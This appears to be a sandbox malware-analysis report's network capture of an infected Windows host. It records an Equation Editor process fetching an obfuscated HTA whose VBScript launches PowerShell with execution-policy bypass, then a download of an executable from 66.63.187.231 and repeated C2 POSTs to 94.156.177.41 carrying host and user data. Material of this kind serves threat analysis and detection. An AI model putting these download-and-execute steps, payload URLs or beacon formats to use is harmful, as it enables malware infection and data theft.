Nov 20, 2024 11:09:58.170331001 CET	80	49265	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:58.170347929 CET	80	49265	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:58.170473099 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.176878929 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.181716919 CET	80	49265	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:58.385591030 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.391064882 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:58.391133070 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.392790079 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.397994995 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:58.398091078 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:58.403036118 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.122375011 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.122658014 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.122677088 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.122745991 CET	49266	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.127573013 CET	80	49266	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.650768042 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.655683994 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.655765057 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.657531977 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.662532091 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:59.662600994 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:59.667577982 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.411623955 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.411828041 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.412177086 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.412249088 CET	49267	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.419064045 CET	80	49267	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.550661087 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.558024883 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.558087111 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.560472012 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.565474987 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:00.565537930 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:00.570461988 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.322582960 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.322671890 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.322716951 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.322757006 CET	49268	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.332375050 CET	80	49268	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.461206913 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.466331005 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.466408014 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.467992067 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.472791910 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:01.472851038 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:01.477732897 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.202414036 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.202639103 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.203061104 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.203105927 CET	49269	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.207700014 CET	80	49269	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.329394102 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.334358931 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.334482908 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.336374998 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.341317892 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:02.341418982 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:02.346508980 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.218589067 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.219834089 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.219949007 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.230890989 CET	49270	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.237103939 CET	80	49270	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.565576077 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.572508097 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.572581053 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.574256897 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.579277992 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:03.579344034 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:03.584287882 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.453927994 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.454186916 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.454412937 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.454457998 CET	49271	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.459383011 CET	80	49271	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.601392984 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.606396914 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.606492996 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.608426094 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.613291979 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:04.613404989 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:04.618388891 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.503791094 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.503901958 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.504331112 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.504385948 CET	49272	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.508922100 CET	80	49272	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.641379118 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.646807909 CET	80	49273	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.646874905 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.648680925 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.653564930 CET	80	49273	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:05.653629065 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:05.658502102 CET	80	49273	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:06.403878927 CET	80	49273	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:06.403950930 CET	80	49273	94.156.177.41	192.168.2.22
Nov 20, 2024 11:10:06.403991938 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:06.438961029 CET	49273	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:10:06.443859100 CET	80	49273	94.156.177.41	192.168.2.22

HTTP Request Dependency Graph

66.63.187.231

94.156.177.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	66.63.187.231	80	3276	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:00.375526905 CET	363	OUT	GET /xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 66.63.187.231 Connection: Keep-Alive
Nov 20, 2024 11:08:01.107028008 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 10:08:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 01:52:14 GMT ETag: "5c04-6274e6620b225" Accept-Ranges: bytes Content-Length: 23556 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 6d 75 6c 61 74 65 49 45 38 22 20 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 53 63 52 69 70 54 20 4c 41 4e 47 75 61 67 45 3d 22 76 42 73 63 52 49 70 54 22 3e 0d 0a 44 49 6d 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 [TRUNCATED] Data Ascii: <!DOCTYPE html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" ><html><body><ScRipT LANGuagE="vBscRIpT">DImtzHLdKvsEcRWyQFPNHoyTeRtKqrFUgUlAoRyLWkDbyxAAzslucnYWlBayRmyLBfwwVLvflcYiZZEpfzNUcHCcwlZBMnkhugupWLqSGPRjiRWzLULwlRXTOODbDPFQNUvpSkWIiuwlAwrOtAtidmZdngahQoxtJqNCmFehSLdxChEPdkYlgmxnXjGbbfCAhnKlFqCZNLZaRvxkRURPVoeiRQJQNIGSlJCzyNdRVnAdTGK
Nov 20, 2024 11:08:01.107296944 CET	224	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: ,
Nov 20, 2024 11:08:01.107309103 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: suiePMvPIuVcNMhTeJ
Nov 20, 2024 11:08:01.107949018 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: tzHLdKvsEcRW
Nov 20, 2024 11:08:01.107959986 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii:
Nov 20, 2024 11:08:01.107976913 CET	672	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 22 53 43 52 69 50 54 2e 53 48 45 4c 4c 22 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: "SCRiPT.SHELL"
Nov 20, 2024 11:08:01.109575033 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: :
Nov 20, 2024 11:08:01.109586000 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 22 70 6f 57 65 72 73 68 45 4c 6c 2e 45 78 45 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "poWershELl.ExE -eX bypAss -nOP -W 1
Nov 20, 2024 11:08:01.109596968 CET	1236	IN	Data Raw: 67 49 43 41 67 49 43 41 67 63 30 74 33 61 46 4e 56 5a 30 5a 6b 4b 54 73 6e 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4c 57 35 68 54 55 55 67 49 43 41 67 49 Data Ascii: gICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVm
Nov 20, 2024 11:08:01.109606981 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 74 7a 48 4c 64 4b 76 73 45 63 52 57 79 51 46 50 4e 48 6f 79 54 65 52 74 4b 71 72 46 55 67 55 6c 41 6f 52 79 4c 57 6b 44 62 79 78 41 41 7a 73 6c 75 63 6e Data Ascii: tzHLdKvsEcRWyQFPNHoyTeRtKqrFUgUlAoRyLWkDbyxAAzslucnYWlBayRmyLBfwwVLvflcYiZZEpfzNUcHCcwlZBMnkhugupWLqSGPRjiRWzLULwlRXTOODbDPFQNUvpSkWIiuwlAwrOtAtidmZdngahQoxtJqNCmFehSLdxChEPdkYlgmxnXjGbbfCAhnKlFqCZNLZaRvxkRURPVoe
Nov 20, 2024 11:08:01.119070053 CET	1236	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 33 34 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: 34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	66.63.187.231	80	3488	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:08.511482000 CET	313	OUT	GET /33/caspol.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 66.63.187.231 Connection: Keep-Alive
Nov 20, 2024 11:08:09.357212067 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 10:08:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 01:27:09 GMT ETag: "92a00-6274e0c657f44" Accept-Ranges: bytes Content-Length: 600576 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 3a 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 e6 26 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL:=g0 & @@ `&O@\|` H.text `.rsrc\|@@@.reloc`(@B&H6(^(}{rp o5{o7&0{o9}&0to{{rp(o:+%{oo;o&Xi2{o<&{o=+E\b2{oAn(}}(*0
Nov 20, 2024 11:08:09.357271910 CET	1236	IN	Data Raw: 00 be 00 00 00 03 00 00 11 02 7b 07 00 00 04 6f 1a 00 00 0a 17 8d 33 00 00 01 25 16 1f 3b 9d 6f 1b 00 00 0a 0a 02 7b 09 00 00 04 6f 1a 00 00 0a 0b 73 1c 00 00 0a 0c 02 7b 03 00 00 04 06 07 08 6f 03 00 00 06 2c 69 72 35 00 00 70 0d 08 6f 1d 00 00 Data Ascii: {o3%;o{os{o,ir5po+(r5p(( -o!r9p(("&{o#{o#+rap("&&(*L$p.0#{
Nov 20, 2024 11:08:09.357317924 CET	1236	IN	Data Raw: 00 00 0a 02 7b 0b 00 00 04 1e 1d 1e 1d 73 32 00 00 0a 6f 33 00 00 0a 02 7b 0b 00 00 04 72 b9 01 00 70 6f 34 00 00 0a 02 7b 0b 00 00 04 20 c8 00 00 00 1f 37 73 35 00 00 0a 6f 36 00 00 0a 02 7b 0b 00 00 04 1b 6f 37 00 00 0a 02 7b 0b 00 00 04 72 d3 Data Ascii: {s2o3{rpo4{ 7s5o6{o7{rpo8{o<{s:o="A"As>(?(@ ] s5(A(B{oC(B{oC(B{oC(B{oC
Nov 20, 2024 11:08:09.357697010 CET	1236	IN	Data Raw: 00 1f 20 73 35 00 00 0a 6f 36 00 00 0a 02 7b 11 00 00 04 1b 6f 37 00 00 0a 02 7b 11 00 00 04 72 53 03 00 70 6f 38 00 00 0a 20 2b 23 00 00 28 4f 00 00 0a 06 72 65 03 00 70 6f 44 00 00 0a 75 03 00 00 1b 0b 28 50 00 00 0a 72 6f 03 00 70 6f 51 00 00 Data Ascii: s5o6{o7{rSpo8 +#(OrepoDu(PropoQiI((8a_X ]X __`aX _EE(X _{a
Nov 20, 2024 11:08:09.357734919 CET	1236	IN	Data Raw: 16 00 00 04 2d 1e 72 27 04 00 70 d0 06 00 00 02 28 29 00 00 0a 6f 62 00 00 0a 73 63 00 00 0a 80 16 00 00 04 7e 16 00 00 04 2a 1a 7e 17 00 00 04 2a 1e 02 80 17 00 00 04 2a 6a 28 18 00 00 06 72 67 04 00 70 7e 17 00 00 04 6f 64 00 00 0a 74 26 00 00 Data Ascii: -r'p()obsc~~j(rgp~odt&j(rp~odt&j(rp~odt&j(rp~odt&j(rp~odt&~(eVs!(ft*0{
Nov 20, 2024 11:08:09.357770920 CET	1236	IN	Data Raw: a7 05 00 70 a2 25 17 72 af 05 00 70 a2 28 31 00 00 06 2d 07 06 73 42 00 00 06 7a 06 2a 4a 02 72 b7 05 00 70 28 33 00 00 06 02 28 34 00 00 06 2a be 02 72 c1 05 00 70 28 33 00 00 06 02 02 28 34 00 00 06 17 8d 31 00 00 01 25 16 72 a7 05 00 70 a2 28 Data Ascii: p%rp(1-sBzJrp(3(4rp(3(41%rp(1,}0Crpsvowox,(oy+(z,Xi20(4(1-sBz0Z{,Frp
Nov 20, 2024 11:08:09.358474016 CET	1236	IN	Data Raw: 0c 41 00 01 00 01 00 01 00 10 00 cc 01 9b 0c 49 00 03 00 05 00 01 00 10 00 a2 08 9b 0c 49 00 0c 00 0d 00 80 01 10 00 1b 07 9b 0c 41 00 16 00 16 00 00 00 10 00 43 0a c4 0a 41 00 16 00 17 00 00 01 10 00 14 0b c4 0a a5 00 18 00 20 00 01 00 10 00 91 Data Ascii: AIIACA iA#i5iyBL=PSAW[_c_cg2gS1PP[__4coc%g
Nov 20, 2024 11:08:09.358510971 CET	1236	IN	Data Raw: 00 00 00 01 00 97 08 00 00 01 00 3e 02 00 00 02 00 78 01 00 00 01 00 c4 0b 00 00 02 00 d8 01 00 00 03 00 84 0c 00 00 01 00 c6 0c 00 00 02 00 42 07 00 00 01 00 e5 08 00 00 02 00 54 05 00 00 01 00 e5 08 00 00 02 00 54 05 00 00 01 00 e5 08 00 00 02 Data Ascii: >xBTTTTTT$49O>x8Cx
Nov 20, 2024 11:08:09.358546019 CET	1236	IN	Data Raw: 00 63 00 95 03 2e 00 6b 00 bf 03 2e 00 73 00 cc 03 49 00 9b 00 5e 03 c3 00 83 00 1b 04 c3 00 8b 00 16 04 c3 00 93 00 16 04 e3 00 93 00 16 04 e3 00 83 00 5d 04 c0 02 7b 00 16 04 27 00 2b 00 49 00 8d 00 0a 01 0f 01 15 01 1b 01 1f 01 b3 01 ce 01 df Data Ascii: c.k.sI^]{'+I~%u++++++o1 3k:"8
Nov 20, 2024 11:08:09.359302044 CET	1236	IN	Data Raw: 74 65 00 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 45 64 69 74 6f 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 43 6f 6d 56 69 Data Ascii: teDebuggerNonUserCodeAttributeDebuggableAttributeEditorBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDes
Nov 20, 2024 11:08:09.387171030 CET	1236	IN	Data Raw: 74 6f 6e 00 52 75 6e 00 6d 61 69 6c 54 6f 00 52 63 70 74 54 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 43 75 6c 74 75 72 65 49 6e 66 6f 00 42 69 74 6d 61 70 00 53 77 61 70 00 53 6c 65 65 70 00 68 65 6c 70 00 4e 6f 6f 70 00 73 65 74 5f 54 61 62 53 74 Data Ascii: tonRunmailToRcptToMethodInfoCultureInfoBitmapSwapSleephelpNoopset_TabStopISmtp_smtpGroupStartupClearset_UseSystemPasswordCharInvokeMemberStringBuildersenderBinderget_ResourceManagerComponentResourceManagerFormClosedEven

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:17.118997097 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 176 Connection: close
Nov 20, 2024 11:08:17.124070883 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus468325ALBUS-PCk0DE4229FCF97F5879F50F8FD39Qaje
Nov 20, 2024 11:08:17.823625088 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49166	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:17.928706884 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 176 Connection: close
Nov 20, 2024 11:08:17.934139013 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus468325ALBUS-PC+0DE4229FCF97F5879F50F8FD3U1oER
Nov 20, 2024 11:08:18.691222906 CET	185	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49167	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:18.838438034 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:18.846126080 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
